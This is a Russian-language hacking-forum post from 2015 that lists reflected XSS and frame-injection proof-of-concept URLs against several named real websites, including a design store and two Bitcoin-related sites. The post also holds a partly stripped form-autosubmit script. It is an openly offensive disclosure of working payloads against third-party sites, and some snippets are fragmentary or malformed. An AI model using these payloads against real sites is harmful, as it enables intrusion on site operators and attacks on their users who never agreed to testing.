Показать сообщение отдельно

  #100  
Старый 26.11.2015, 11:24
ubepkr
Познающий
Регистрация: 17.08.2015
Сообщений: 96
С нами: 5653046

Репутация: 1
По умолчанию

Сайт: https://www.silhouettedesignstore.com/

Уязвимость: Reflected XSS (циклящийся (понаблюдайте за страницей), можно без '"-->, но так интереснее))))

Код:
https://www.silhouettedesignstore.com/designs?search='"-->alert(123)


там же Frame Injections

Код:
https://www.silhouettedesignstore.com/designs?search=
Сайт: http://getbitco.com/

Уязвимость: Reflected XSS

Код:
http://getbitco.com/?ans=Erroralert(123456789)


Сайт: http://http:/bitganancias.com/

Уязвимость: XSS

Код:
         
         
         
    
     HTMLFormElement.prototype.submit.call(document.forms[0]);
 
Ответить с цитированием